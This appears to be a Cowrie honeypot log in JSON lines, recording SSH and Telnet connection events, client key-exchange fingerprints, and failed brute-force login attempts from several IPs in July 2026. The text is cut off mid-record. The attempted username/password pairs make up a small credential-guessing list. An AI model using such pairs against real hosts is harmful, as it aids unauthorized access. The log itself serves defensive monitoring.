{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:35.121599Z","src_ip":"45.156.87.253","session":"6853248d7f8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:35.201051Z","src_ip":"45.156.87.253","session":"6853248d7f8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:35.440087Z","src_ip":"45.156.87.253","session":"6853248d7f8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.85148048400879,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:36.005432Z","src_ip":"115.160.92.142","session":"c5a1bb2d49cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:36.522227Z","src_ip":"45.156.87.253","session":"6853248d7f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40630,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac58c72abdd9","protocol":"ssh","message":"New connection: 45.156.87.253:40630 (10.17.0.5:22) [session: ac58c72abdd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:38.208559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:38.211692Z","src_ip":"45.156.87.253","session":"ac58c72abdd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:38.291551Z","src_ip":"45.156.87.253","session":"ac58c72abdd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:38.608002Z","src_ip":"45.156.87.253","session":"ac58c72abdd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:39.690466Z","src_ip":"45.156.87.253","session":"ac58c72abdd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":47886,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6914d8028bd","protocol":"ssh","message":"New connection: 109.237.96.109:47886 (159.203.135.109:22) [session: c6914d8028bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:41.211780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:41.215511Z","src_ip":"109.237.96.109","session":"c6914d8028bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:41.307573Z","src_ip":"109.237.96.109","session":"c6914d8028bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":56114,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbb3d4b4a9d5","protocol":"ssh","message":"New connection: 45.156.87.253:56114 (10.17.0.5:22) [session: bbb3d4b4a9d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:41.394415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:41.398211Z","src_ip":"45.156.87.253","session":"bbb3d4b4a9d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:41.478351Z","src_ip":"45.156.87.253","session":"bbb3d4b4a9d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28101982","message":"login attempt [root/28101982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:41.588146Z","src_ip":"109.237.96.109","session":"c6914d8028bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:41.719858Z","src_ip":"45.156.87.253","session":"bbb3d4b4a9d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":42116,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d8693c24e05","protocol":"ssh","message":"New connection: 91.92.40.11:42116 (10.17.0.5:22) [session: 9d8693c24e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:41.751693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:41.848596Z","src_ip":"91.92.40.11","session":"9d8693c24e05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:41.851873Z","src_ip":"91.92.40.11","session":"9d8693c24e05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"12345678","message":"login attempt [apache/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:42.548559Z","src_ip":"91.92.40.11","session":"9d8693c24e05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:42.682385Z","src_ip":"109.237.96.109","session":"c6914d8028bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:42.802241Z","src_ip":"45.156.87.253","session":"bbb3d4b4a9d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:44.007292Z","src_ip":"91.92.40.11","session":"9d8693c24e05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":56136,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a2585b1da8b","protocol":"ssh","message":"New connection: 45.156.87.253:56136 (10.17.0.5:22) [session: 7a2585b1da8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:44.461957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:44.465523Z","src_ip":"45.156.87.253","session":"7a2585b1da8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:44.546956Z","src_ip":"45.156.87.253","session":"7a2585b1da8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:44.791180Z","src_ip":"45.156.87.253","session":"7a2585b1da8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:45.875241Z","src_ip":"45.156.87.253","session":"7a2585b1da8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":56156,"dst_ip":"10.17.0.5","dst_port":22,"session":"57f03180fe0f","protocol":"ssh","message":"New connection: 45.156.87.253:56156 (10.17.0.5:22) [session: 57f03180fe0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:47.499017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:47.502724Z","src_ip":"45.156.87.253","session":"57f03180fe0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:47.585290Z","src_ip":"45.156.87.253","session":"57f03180fe0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"12345678","message":"login attempt [fastuser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:47.828383Z","src_ip":"45.156.87.253","session":"57f03180fe0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":48374,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6d6e3cbd4fc","protocol":"ssh","message":"New connection: 87.251.79.125:48374 (159.203.135.109:22) [session: e6d6e3cbd4fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:47.910944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:47.914209Z","src_ip":"87.251.79.125","session":"e6d6e3cbd4fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:47.980869Z","src_ip":"87.251.79.125","session":"e6d6e3cbd4fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lpz11ssskqw1q","message":"login attempt [root/lpz11ssskqw1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:48.183289Z","src_ip":"87.251.79.125","session":"e6d6e3cbd4fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:48.911580Z","src_ip":"45.156.87.253","session":"57f03180fe0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:49.252321Z","src_ip":"87.251.79.125","session":"e6d6e3cbd4fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37374,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ea0559bf531","protocol":"ssh","message":"New connection: 45.156.87.253:37374 (10.17.0.5:22) [session: 8ea0559bf531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:50.505874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:50.509740Z","src_ip":"45.156.87.253","session":"8ea0559bf531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cer